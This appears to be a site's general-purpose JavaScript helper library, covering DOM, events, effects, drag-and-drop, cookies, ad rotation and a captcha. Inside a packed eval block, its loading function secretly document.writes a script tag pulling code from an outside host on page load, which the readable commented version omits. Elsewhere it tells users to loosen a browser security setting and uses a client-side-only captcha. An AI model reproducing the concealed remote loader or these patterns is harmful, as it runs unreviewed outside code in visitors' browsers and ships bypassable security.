﻿// JavaScript Document


//返回 Documnet Id---------------------------------------
function $(a){var b=[],element;var E=window.Element;for(var i=0;i<arguments.length;i++){element=arguments[i];if(typeof element=='string')element=document.getElementById(element);if(E){if(Element.extend!=null){b.push(Element.extend(element))}}};if(E){if(Element.extend!=null){return b.reduce()}};return element}function getTagName(a,b){if(document.getElementsByTagName){if(b==null){return document.getElementsByTagName(a)}else{return $(b).getElementsByTagName(a)}}if(document.all)return document.all.tags(a)}Object.extend=function(a,b){for(var c in b){a[c]=b[c]}return a};Function.prototype.bind=function(){var a=this,args=$A(arguments),object=args.shift();return function(){return a.apply(object,args.concat($A(arguments)))}};Function.prototype.bindAsEventListener=function(b){var c=this,args=$A(arguments),b=args.shift();return function(a){return c.apply(b,[(a||window.event)].concat(args).concat($A(arguments)))}};var $A=function(a){if(!a)return[];if(a.toArray){return a.toArray()}else{var b=[];for(var i=0;i<a.length;i++){b.push(a[i])}return b}};String.prototype.trim=function(){return this.replace(/(^\s*)|(\s*$)/g,"")};String.prototype.ltrim=function(){return this.replace(/(^\s*)/g,"")};String.prototype.rtrim=function(){return this.replace(/(\s*$)/g,"")};

/*
append to end of array, optionally checking for duplicates
*/
Array.prototype.append=function(a,b){if(!(b&&this.contains(a))){this[this.length]=a}};Array.prototype.indexOf=function(a){var b=-1;for(var i=0;i<this.length;i++){if(this[i]==a){b=i;break}}return b};Array.prototype.contains=function(a){return(this.indexOf(a)>=0)};Array.prototype.clear=function(){this.length=0};Array.prototype.insertAt=function(a,b){this.splice(a,0,b)};Array.prototype.removeAt=function(a){this.splice(a,1)};Array.prototype.remove=function(a){var b=this.indexOf(a);if(b>=0){this.removeAt(b)}};

//检测是否IE------------------------------
var sUserAgent=navigator.userAgent;var fAppVersion=parseFloat(navigator.appVersion);var isOpera=sUserAgent.indexOf("Opera")>-1;var isIE=sUserAgent.indexOf("compatible")>-1&&sUserAgent.indexOf("MSIE")>-1&&!isOpera;var isMinIE4=isMinIE5=isMinIE5_5=isMinIE6=false;if(isIE){var reIE=new RegExp("MSIE (\\d+\\.\\d+);");reIE.test(sUserAgent);var fIEVersion=parseFloat(RegExp["$1"]);isMinIE4=fIEVersion>=4;isMinIE5=fIEVersion>=5;isMinIE5_5=fIEVersion>=5.5;isMinIE6=fIEVersion>=6.0}var isWin=(navigator.platform=="Win32")||(navigator.platform=="Windows");var EventUtil=new Object;EventUtil.addEventHandler=function(a,b,c){if(a==null)return;if(a.addEventListener){a.addEventListener(b,c,false)}else if(a.attachEvent){a.attachEvent("on"+b,c)}else{a["on"+b]=c}};EventUtil.removeEventHandler=function(a,b,c){if(a==null)return;if(a.removeEventListener){a.removeEventListener(b,c,false)}else if(a.detachEvent){a.detachEvent("on"+b,c)}else{a["on"+b]=null}};EventUtil.formatEvent=function(a){if(isIE&&isWin){a.charCode=(a.type=="keypress")?a.keyCode:0;a.eventPhase=2;a.isChar=(a.charCode>0);a.pageX=a.clientX+document.documentElement.scrollLeft;a.pageY=a.clientY+document.documentElement.scrollTop;a.preventDefault=function(){this.returnValue=false};if(a.type=="mouseout"){a.relatedTarget=a.toElement}else if(a.type=="mouseover"){a.relatedTarget=a.fromElement}a.stopPropagation=function(){this.cancelBubble=true};a.target=a.srcElement;a.time=(new Date).getTime()}return a};
//格式化EVENT事件
EventUtil.getEvent = function() {
    if (window.event) {
        return this.formatEvent(window.event);
    } else {
        return EventUtil.getEvent.caller.arguments[0];
    }
};
//---------------------------------------------------------

/*
	渐显特效 showElement
	            	@elementID 目标对象ID
					      @opacity  需要完成显示度
					      @interval 间隔时间
					      @show TRUE渐显 FALSE渐消失
*/


function showElement(a,b,c,d){var e=getObj(a);var b=b;var c=c;var d=d;if(!isIE)if(b>10)b=b/100;if(e.showment){clearTimeout(e.showment)}var f=e.style.filter;if(!isIE){f=e.style.opacity}if(!f){if(d){f='alpha(opacity=0)';f=0}else{f='alpha(opacity=100)';f=1}}var g=f;if(isIE){g=parseInt(f.substring(parseInt(f.indexOf("="))+1,parseInt(f.lastIndexOf(")"))))}if(d){if(g>=b)return}else{if(g<=b){return}}var h=20;if(!isIE){h=h/100}if(d){g=parseFloat(g)+h}else{g=parseFloat(g)-h}if(isIE){e.style.filter='alpha(opacity='+g+')'}else{e.style.opacity=g}e.showment=setTimeout(function(){showElement(e,b,c,d)},c)}
 
//慢慢移动内容  
function moveElement(a,b,c,d){if(!document.getElementById)return false;if(!document.getElementById(a))return false;var e=a;if(typeof e=="string"){e=document.getElementById(a)}if(e.movement){clearTimeout(e.movement)}if(!e.style.left){e.style.left="0px"}if(!e.style.top){e.style.top="0px"}var f=parseInt(e.style.left);var g=parseInt(e.style.top);if(f==b&&g==c){return true}if(f<b){var h=Math.ceil((b-f)/10);f=f+h}if(f>b){var h=Math.ceil((f-b)/10);f=f-h}if(g<c){var h=Math.ceil((c-g)/10);g=g+h}if(g>c){var h=Math.ceil((g-c)/10);g=g-h}e.style.left=f+"px";e.style.top=g+"px";var i="moveElement('"+a+"',"+b+","+c+","+d+")";e.movement=setTimeout(i,d)}

//内容展开控制
function deployElement(a,b){this.el=getObj(a);this.el_display=this.el.style.display;this.deployTime=null;this.options=Object.extend({interval:50,width:null,height:null},b||{})}deployElement.prototype={init:function(){if(this.el.style.overflow=="hidden")return;this.el.style.overflow="hidden";if(this.el.style.display!="none"){this.strH=this.el.offsetHeight;this.hpos=0;this.hide()}else{this.el.style.display="block";this.strH=this.el.offsetHeight;this.hpos=0;this.show()}},show:function(){if(this.deployTime!=null)clearTimeout(this.deployTime);var a=Math.ceil((this.strH-this.hpos)/10);this.hpos=a+this.hpos;if(this.hpos>=this.strH){this.el.style.height="";this.el.style.overflow="visible";return}this.el.style.height=this.hpos+"px";this.deployTime=setTimeout(this.show.bind(this),this.options.interval)},hide:function(){if(this.deployTime!=null)clearTimeout(this.deployTime);var a=Math.ceil((this.strH-this.hpos)/5);this.hpos=this.hpos+a;var b=this.strH-this.hpos;if(b<=0){this.el.style.height="";this.el.style.display="none";this.el.style.overflow="visible";return}this.el.style.height=b+"px";this.deployTime=setTimeout(this.hide.bind(this),this.options.interval)}};


//检测Child数据是否为空
function childTextTrue(obj,BadMess){var Child="";if(BadMess!=null){Child=BadMess}if(obj==null)return Child;if(obj.firstChild!=null){if(isIE){Child=obj.firstChild.nodeValue}else{Child=obj.textContent}}return Child}function attributeTrue(obj,AtName,BadMess){var Attr=BadMess;if(obj==null)return Attr;if(obj.getAttribute(AtName)!=null){Attr=obj.getAttribute(AtName)}return Attr}function highlight_input(){if(!document.getElementsByTagName)return false;var input_count=document.getElementsByTagName("input");var text_count=document.getElementsByTagName("textarea");out_text_box(input_count);out_text_box(text_count)}function btnFun(){var btnObj=document.getElementsByTagName("div");for(var i=0;i<btnObj.length;i++){if(btnObj[i].getAttribute("funTagName")=="btn"){EventUtil.addEventHandler(btnObj[i],'mousemove',BtnOver.bind(btnObj[i]));EventUtil.addEventHandler(btnObj[i],'mouseout',BtnOut.bind(btnObj[i]));EventUtil.addEventHandler(btnObj[i],'mousedown',BtnClick.bind(btnObj[i]))}}}function BtnOver(e){this.className="x-btn x-btn-over"}function BtnOut(e){this.className="x-btn"}function BtnClick(e){this.className="x-btn x-btn-over x-btn-click"}

function out_text_box(dom){for(var i=0;i<dom.length;i++){dom[i].onmouseover=function(){this.style.borderColor="#6595D6"};dom[i].onmouseout=function(){this.style.borderColor="#B5B8C8"};dom[i].onFocus=function(){this.style.isfocus=true};dom[i].onBlur=function(){this.style.isfocus=false}}}
//----------------------------------------------
	
function checkAllBox(a){var b=getObj(a);var c=b.getElementsByTagName("input");for(var i=0;i<c.length;i++){if(c[i].type=="checkbox"){if((b.value=="全选")?true:false){c[i].checked=0}else{c[i].checked=1}}}if((b.value=="全选")?true:false){b.value="取消"}else{b.value="全选"}}
  
    
//获取HTML后面的参数
function QueryString(){var a=location.search;if(a.indexOf("?")!=-1){var b,_name,arrtmp,value='',i;str=a.substr(1);arrtmp=str.split('&');for(i=0;i<arrtmp.length;i++){num=arrtmp[i].indexOf("=");if(num>0){b=arrtmp[i].substring(0,num);value=arrtmp[i].substr(num+1);_name=b.toLowerCase();this[b]=value;this[_name]=value}}}}
var Request=new QueryString();//使用new运算符创建参数对象实例

function addElement(){
   return document.createElement(arguments[0]);
}
function addTextNode(value){
   return document.createTextNode(value);
}

//返回数字类型
function CkIsNumber(a,b){if(a!="[object]"){a=$(a)}if(a==null){return alert("找不到["+a+"]这元素!")}EventUtil.addEventHandler(a,'keypress',function(e){if(!e)var e=window.event;if(b=="int"){return e.keyCode>=48&&e.keyCode<=57}else{return(a.value.indexOf('-')<0?e.keyCode==45:false)||(e.keyCode>=48&&e.keyCode<=57)||(a.value.indexOf('.')<0?e.keyCode==46:false)}});EventUtil.addEventHandler(a,'blur',function(){checkIsNumber(a)});EventUtil.addEventHandler(a,'focus',function(){if(a.value=='0')a.value=''});EventUtil.addEventHandler(a,'paste',function(){return!clipboardData.getData('text').match(/\D/)});EventUtil.addEventHandler(a,'dragenter',function(){return false})}function checkIsNumber(a){if(isNaN(a.value)){a.value=a.value.replace(/[^\d\.]/g,'')}if(a.value=='')return a.value=0;a.value=parseFloat(a.value)}


//---------展开/折叠-----------------
function showNews(a,b){var c=b;var d=document.getElementById(a);if((c.alt=="折叠")?true:false){d.style.display="none";c.src="../../images/down.png";c.alt="展开"}else{d.style.display="";c.src="../../images/up.png";c.alt="折叠"}}



/*
	new dragMove(el ,{
				 
	})
	拖伐移动专用
*/
function dragMove(a,b){this.el=getObj(a);this.dragDropTimer=-1;this.options=Object.extend({moveEl:null,moveBody:null,dragX:true,dragY:true,allowRectangleMove:true},b||{});this.init()}dragMove.prototype={init:function(){this.moveEl=this.el;if(this.options.moveEl!=null){this.moveEl=this.options.moveEl;this.moveEl=getObj(this.moveEl)}if(this.options.moveBody!=null){this.moveBody=this.options.moveBody;this.moveBody=getObj(this.moveBody)}this.el.style.position='absolute';this.moveEl.style.cursor='move';this.moveEl.onmousedown=this.initDrag.bindAsEventListener(this,this.moveEl);this.moveD=this.moveDragableElement.bindAsEventListener(this);this.stropD=this.stop_dragDropElement.bindAsEventListener(this);this.selsectEvent=this.cancelSelectionEvent.bindAsEventListener(this);this.dragEvent=this.cancelEvent.bindAsEventListener(this)},initDrag:function(e,a){if(document.all)e=event;this.addDefaultEvent();this.mouse_x=e.clientX;this.mouse_y=e.clientY;if(this.el.style.left==""){var b=getAbsolutePos(this.el);this.el.style.left=b.x+"px";this.el.style.top=b.y+"px"}if(this.moveBody!=null){this.moveBody.style.visibility="hidden"}this.dragObject=a;this.dragDropTimer=0;this.initDragTimer();return false},initDragTimer:function(){if(this.dragObject.style==null)return;if(this.dragDropTimer>=0&&this.dragDropTimer<10){this.dragDropTimer++;setTimeout(this.initDragTimer.bind(this),5);return}if(this.dragDropTimer==10){this.el.style.opacity=0.5;this.el.style.filter='alpha(opacity=50)';this.dragObject.style.cursor='default'}},addDefaultEvent:function(){Element.observe(document.body,'mousemove',this.moveD);Element.observe(document.body,'mouseup',this.stropD);Element.observe(document.body,'selectstart',this.selsectEvent);Element.observe(document.body,'dragstart',this.dragEvent)},stopDefaultEvent:function(){Element.stopObserving(document.body,'mousemove',this.moveD);Element.stopObserving(document.body,'mouseup',this.stropD);Element.stopObserving(document.body,'selectstart',this.selsectEvent);Element.stopObserving(document.body,'dragstart',this.dragEvent)},show:function(){this.eventWindowChange=this.setShowZoomTip.bindAsEventListener(this);Event.observe(window,"scroll",this.eventWindowChange);Event.observe(window,"resize",this.eventWindowChange);this.el.style.display="block";this.setShowZoomTip()},setShowZoomTip:function(){var a=getPageSize();var b=GetScrollTop();if(this.checkWindowlayout()==false){if(this.s_t==null){this.s_t=b}else{if(this.s_t==b){return}else{this.s_t=b}}}var c=document.documentElement.scrollTop+parseInt(a.windowHeight/2)-parseInt(this.el.offsetHeight/2)+"px";if(a.windowHeight<this.el.offsetHeight){c=parseInt(document.documentElement.scrollTop+20)+"px"}this.el.style.top=c;this.el.style.left=parseInt(a.windowWidth/2)-parseInt(this.el.offsetWidth/2)+"px"},hide:function(){this.el.style.display="none";Event.stopObserving(window,"scroll",this.eventWindowChange);Event.stopObserving(window,"resize",this.eventWindowChange)},moveDragableElement:function(e){if(document.all)e=event;if(this.dragDropTimer<10)return;if(!this.options.allowRectangleMove)return false;if(this.dragObject.style==null)return;if(this.options.dragX)this.el.style.left=(parseInt(this.el.style.left)-this.mouse_x+e.clientX)+'px';if(this.options.dragY)this.el.style.top=(parseInt(this.el.style.top)-this.mouse_y+e.clientY)+'px';this.mouse_x=e.clientX;this.mouse_y=e.clientY},stop_dragDropElement:function(e){this.stopDefaultEvent();this.dragDropTimer=-1;if(this.dragObject.style==null)return;this.el.style.opacity=1;this.el.style.filter='alpha(opacity=100)';this.dragObject.style.cursor='move';if(this.moveBody!=null){this.moveBody.style.visibility="visible"}},cancelSelectionEvent:function(){if(this.dragDropTimer>=0)return false;return true},cancelEvent:function(){return false},checkWindowlayout:function(){var a=getPageSize();if(this._w==null){this._w=a.windowHeight;this._h=a.windowHeight}else{if(a.windowHeight==this._h){return false}else{this._h=a.windowHeight}if(a.windowWidth==this._w){return false}else{this._w=a.windowWidth}}return true}}
 
var SetCookieToday=new Date();var SetCookieExpireDay=new Date();var SetCookieMsPerMonth=24*60*60*1000*31;SetCookieExpireDay.setTime(SetCookieToday.getTime()+SetCookieMsPerMonth);function setCookie(a,b){document.cookie=a+"="+b+";expires="+SetCookieExpireDay.toGMTString()}function getByTagNameDom(a,b,c){var d=document.body.getElementsByTagName(a);for(var i=0;i<d.length;i++){if(d[i].getAttribute(b)==c)return d[i]}}function addNewInput(a,b,c,d){if(a!="[object]"){a=$(a)}if($(a)==null){alert("下列元素名称:"+a+"不存");return}if(d==null)d="text";var e;e=document.createElement("input");e.className="editor_input_oneline";e.type=d;e.value=c;e.id=b;a.parentNode.appendChild(e);return e}function NewPicDom(a,b,c){if(a!="[object]"){a=$(a)}if(a==null){alert("找不到下列元素名称:"+a);return}var d;var c=c==null?"_":c;d=document.createElement("img");d.src=b;d.border=0;d.id=c+a.id;a.parentNode.appendChild(d);return d}

function getCookie(Key){var search = Key + "=";begin = document.cookie.indexOf(search);
if (begin != -1) { begin += search.length;end = document.cookie.indexOf(";",begin); if (end == -1) end = document.cookie.length;return document.cookie.substring(begin,end);}}


eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('x y(a){4(5.9){5.9.z();5.9.m("A",a)}o 4(B.C.D("E")!=-1){5.F=a}o 4(5.p){G{p.H.I.J("K")}L(e){M("被浏览器拒绝！\\n请在浏览器地址栏输入\'N:O\'并回车\\n然后将\'P.Q.R\'设置为\'q\'");6 7}0 b=3.i[\'@j.k/r/S;1\'].l(3.8.s);4(!b)6 7;0 c=3.i[\'@j.k/r/T;1\'].l(3.8.U);4(!c)6 7;c.V(\'t/u\');0 d=v w();0 f=v w();0 d=3.i["@j.k/W-X;1"].l(3.8.Y);0 g=a;d.Z=g;c.10("t/u",d,g.11*2);0 h=3.8.s;4(!b)6 7;b.m(c,12,h.13)}6 q}',62,66,'var|||Components|if|window|return|false|interfaces|clipboardData|||||||||classes|mozilla|org|createInstance|setData||else|netscape|true|widget|nsIClipboard|text|unicode|new|Object|function|copyToClipboard|clearData|Text|navigator|userAgent|indexOf|Opera|location|try|security|PrivilegeManager|enablePrivilege|UniversalXPConnect|catch|alert|about|config|signed|applets|codebase_principal_support|clipboard|transferable|nsITransferable|addDataFlavor|supports|string|nsISupportsString|data|setTransferData|length|null|kGlobalClipboard'.split('|'),0,{}));

//广告轮换功能
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('j N(a,b){2.k=O(a);2.C=4;2.m=0;2.7=P.Q({9:4,d:4,R:15,n:\'16\',D:1.17,3:[]},b||{});2.3=18 19();2.E=1a;2.S()}N.1b={S:j(){5(2.E)p;5(2.k==4)p F("没有找目标输出位置的元素");5(2.7.3.t==0)p F(\'请添加内容\');T(f i=0;i<2.7.3.t;i++){5(2.7.3[i].k==4&&2.7.3[i].g==4)p F(\'参数不完整!\');2.3.1c(2.U(2.7.3[i]));f a=2.3[i].k==4?G.H("1d"):O(2.3[i].k);5(2.3[i].l!=4)a.l=2.3[i].l;5(2.3[i].u=4)a.u=2.3[i].u;5(i>0)a.6.v="V";f w=2.3[i].9==4?(2.7.9==4?4:2.7.9):2.3[i].9;f h=2.3[i].d==4?(2.7.d==4?4:2.7.d):2.3[i].d;5(2.3[i].g!=4){f b=G.H("1e");b.g=2.3[i].g;b.6.9=w+"o";b.6.d=h+"o";b.1f="0";5(2.3[i].l!=4)b.l=2.3[i].l+"1g";2.3[i].8=b;b.W=2.I.q(2,2.3[i]);b.X=2.J.q(2,2.3[i])}r{a.W=2.I.q(2,2.3[i]);a.X=2.J.q(2,2.3[i])}5(2.3[i].g!=4){5(2.3[i].x==4){a.y(b)}r{f A=G.H("A");A.x=2.3[i].x;A.n=2.3[i].n==4?2.7.n:2.3[i].n;5(2.3[i].z!=4)A.z=2.3[i].z;a.y(A);A.y(b);2.3[i].a=A}2.k.y(a)}2.3[i].e=a}2.E=K;2.L()},Y:j(){T(f i=0;i<2.3.t;i++){5(2.m==i){5(2.3[i].9==4){5(2.3[i].8!=4){2.3[i].9=2.3[i].8.Z;2.3[i].d=2.3[i].8.10}}5(2.3[i].g==4){2.3[i].e.6.11=\'12(B=0)\';2.3[i].e.6.B=0;2.3[i].e.6.v="13";2.3[i].e.6.9="s%";2.3[i].e.6.d="1h";14(2.3[i].e,s,s,K)}r{2.3[i].8.6.11=\'12(B=0)\';2.3[i].8.6.B=0;2.3[i].e.6.v="13";14(2.3[i].8,s,s,K)}}r{2.3[i].e.6.v="V"}}},L:j(){2.Y();5(2.m==2.3.t-1){2.m=0}r{2.m=2.m+1}2.M()},M:j(){2.C=1i(2.L.q(2),2.7.R)},I:j(a){5(a.g!=4){f b=a.8.10*2.7.D;f c=a.8.Z*2.7.D;a.8.6.d=b+"o";a.8.6.9=c+"o"}1j(2.C)},J:j(a){5(a.g!=4){a.8.6.d=a.d+"o";a.8.6.9=a.9+"o"}2.M()},U:j(a){p P.Q({k:4,g:4,l:4,9:4,d:4,x:4,n:4,z:4,u:4,e:4,8:4,a:4},a||{})}}',62,82,'||this|columns|null|if|style|options|img|width||||height|div|var|src|||function|el|id|adIndex|target|px|return|bind|else|100|length|className|display||href|appendChild|title||opacity|adTime|zooomIn|addChild|alert|document|createElement|over|out|true|show|getTimeOut|adShift|getObj|Object|extend|timeOut|init|for|reDefaultData|none|onmouseover|onmouseout|selectChange|offsetWidth|offsetHeight|filter|alpha|block|showElement|3000|_self|25|new|Array|false|prototype|push|DIV|IMG|border|_img|auto|setTimeout|clearTimeout'.split('|'),0,{}))

//宽度等比例
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('6 7(a,b,c){8 d=9 e();d.5=a.5;3(d.1>0&&d.2>0){f=g;3(d.1/d.2>=b/c){3(d.1>b){a.1=b;a.2=(d.2*b)/d.1}4{a.1=d.1;a.2=d.2}}4{3(d.2>c){a.2=c;a.1=(d.1*c)/d.2}4{a.1=d.1;a.2=d.2}}}}',17,17,'|width|height|if|else|src|function|AutoSize|var|new|||||Image|flag|true'.split('|'),0,{}))



/*利用时间延迟来执行方法*/
setTimeOut=new Object();
setTimeOut.show=function(fun,time){
    this.Event=fun;
    this.time=time;
    this.getTimeOut;
    this.outTime=null;
    this.getTimeOut();
}
setTimeOut.getTimeOut=function(){
       clearTimeout(this.outTime);
       this.outTime=setTimeout(this.Event,this.time); 
}

function IeTrueBody(){
    return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body;
}
function GetScrollTop(){
    return isIE ? IeTrueBody().scrollTop : window.pageYOffset;
}
function getPageSize(){var a,yScroll;var b={pageWidth:0,pageHeight:0,windowWidth:0,windowHeight:0};try{if(window.innerHeight&&window.scrollMaxY){a=document.body.scrollWidth;yScroll=window.innerHeight+window.scrollMaxY}else if(document.body.scrollHeight>document.body.offsetHeight){a=document.body.scrollWidth;yScroll=document.body.scrollHeight}else{a=document.body.offsetWidth;yScroll=document.body.offsetHeight}var c,windowHeight;if(self.innerHeight){c=self.innerWidth;windowHeight=self.innerHeight}else if(document.documentElement&&document.documentElement.clientHeight){c=document.documentElement.clientWidth;windowHeight=document.documentElement.clientHeight}else if(document.body){c=document.body.clientWidth;windowHeight=document.body.clientHeight}if(yScroll<windowHeight){pageHeight=windowHeight}else{pageHeight=yScroll}if(a<c){pageWidth=c}else{pageWidth=a}b.pageWidth=pageWidth;b.pageHeight=pageHeight;b.windowWidth=c;b.windowHeight=windowHeight}catch(err){alert(err)}return b}

/*返回坐标到中间*/
getMiddle= function(x,y,Screen) {
	var _p = { x: 0, y: 0 };
	    if(Screen=="web"){
	        var pageSize=getPageSize();
            _p.x=document.body.scrollTop+parseInt(pageSize.pageHeight/2)-parseInt(x/2)+"px";
            _p.y=parseInt(pageSize.pageWidth/2)-parseInt(y/2)+"px";
        }else{

            _p.x=parseInt(window.screen.availHeight/2)-parseInt(x/2);
            _p.y=parseInt(window.screen.availWidth/2)-parseInt(y/2);
        }
     return _p;
 }

//去掉所有的Html标记
function delHtmlTag(str){
   return str.replace(/<[^>]+>/g,"").trim();
} 

//重设置指定表单
function resetForm(_name){
   var form=$(_name);
   form.reset();
}
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('n o(){4 a=$("5");p(a==q)r;4 b=0.9("s");4 c=$("t");c.u="v";b.e="&w;技术支持:";4 d=0.9("A");d.x="y";d.e="网络信息中心";d.z="f://g.h.i";c.j(b);c.j(d);0.1(\'<3 6="5">\');0.1(\'<3 7="5-B">\');0.1(\'<C k="D/E/F/G-5.H" />\');0.1(\'<3 7="I" 6="J"> 数据加载中. ..</3>\');0.1(\'</3></3>\');0.1(\'<3 6="l" 7="l">\');0.1(\'</3>\');0.1(\'<m k="f://g.h.i/K/L.M?N=2" O="P" Q="R-8"></m>\')}',54,54,'document|write||div|var|loading|id|class||createElement|||||innerHTML|http|www|tianhechem|com|appendChild|src|background|script|function|loadingDom|if|true|return|SPAN|copyright|className|black|nbsp|target|_blank|href||indicator|img|images|Ajaxframe|shared|large|gif|text|loadingInfo|web|index|asp|opt|language|JavaScript|charset|utf'.split('|'),0,{}));

/*function loadingDom(){
	var loading=$("loading");
	if(loading==true)return ;
	document.write('<div id="loading">');
    document.write('<div class="loading-indicator">');
    document.write('<img src="images/Ajaxframe/shared/large-loading.gif" />');
    document.write('<div class="text" id="loadingInfo"> 数据加载中. ..</div>');
    document.write('</div></div>');
	
	document.write('<div id="background" class="background">'); 
    document.write('</div>');
}*/


//默认加载数据
function defalueData(){
	highlight_input();
	btnFun();
	loadingDom();
}

function Failure(transport) {
	    alert("出错了!以下是服务器出错的原因: " + transport.responseText.stripTags());
}
function showLoading(){
	var loading=$("loading");
	    loading.style.display="block";
		loading.style.top= parseInt(IeTrueBody().scrollTop+200)+'px';
	    $("background").style.display="block";
}
function hideLoading(){
	$("loading").style.display="none";
	$("background").style.display="none";
}
function alertMess(str){
	alert(str);	
}
	
//获取当前路径
function getWebUrl(){
       var url=location.href.split("/");
       var strUrl="";
           for(var i=0;i<url.length-1;i++){
                strUrl +=url[i]+"/";
           }
       return strUrl;//截取字符区间
}
     
//获得对象相对坐标位置
getAbsolutePos = function(el) {
	var _p = { x: 0, y: 0 };
	 do{
		_p.x += (el.offsetLeft - el.scrollLeft);
		_p.y += (el.offsetTop - el.scrollTop); 
	}while(el==el.offsetParent){
     		return _p;
	  };
}
        
//字符串过滤
function GetSubString(str,num){
	if(str.length>=num){
		str=str.substr(0,num);
	}else{
		str=str;
	}
	return str;
}

//返回OBJ对象
function getObj(str){
    if( typeof str =="string"){return $(str);}else{return str;}
}

/*遍沥指定范围内的元素获得匹配属性的内容*/
function getByTagNameDom(tagName,AtName,str){
	var itme=document.body.getElementsByTagName(tagName);
	for(var i=0;i<itme.length;i++){attributeTrue
		if(itme[i].getAttribute(AtName)==str)return itme[i];
	}
}

function addNewInput(inserID,newInputId,NewDomValue,type){
    if(inserID !="[object]"){inserID=$(inserID);}
    if($(inserID)==null){alert("下列元素名称:"+inserID+"不存");return;}
    if(type==null)type="text";
    var NewInputDom;
    NewInputDom=document.createElement("input");
    NewInputDom.className="editor_input_oneline";
	NewInputDom.type=type;
	NewInputDom.value=NewDomValue;
	NewInputDom.id=newInputId;
	inserID.parentNode.appendChild(NewInputDom);
	return NewInputDom;
}
function NewPicDom(inserID,NewDomSrcName,loadId){
    if(inserID !="[object]"){inserID=$(inserID);}
    if(inserID==null){alert("找不到下列元素名称:"+inserID);return;}
    var NewPic;
    var loadId= loadId==null?"_":loadId;
    NewPic=document.createElement("img");
	NewPic.src=NewDomSrcName;
	NewPic.border=0;
	NewPic.id=loadId+inserID.id;
	inserID.parentNode.appendChild(NewPic);
	return NewPic;
}


 var code ; //定义验证码
 function createCode(MaxLength){ 
   code = "";
   var codeLength = MaxLength;//验证码的长度
   var checkCode = $("checkCode");
   var selectChar = new Array(0,1,2,3,4,5,6,7,8,9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');
    
   for(var i=0;i<codeLength;i++){
   var charIndex = Math.floor(Math.random()*62);
        code +=selectChar[charIndex];
   }
   if(checkCode){
     checkCode.className="code";
     checkCode.value = code;
   }
 }
  var TextUtil = new Object;
 TextUtil.allowChars = function (oEvent) {
    oEvent = EventUtil.formatEvent(oEvent);
    var sChar = String.fromCharCode(oEvent.charCode);
    return !(oEvent.ctrlKey && sChar == "v");
};
 TextUtil.blockChars = function (oEvent) {
    oEvent = EventUtil.formatEvent(oEvent);
    var sChar = String.fromCharCode(oEvent.charCode);
    return !(oEvent.ctrlKey && sChar == "c");
};
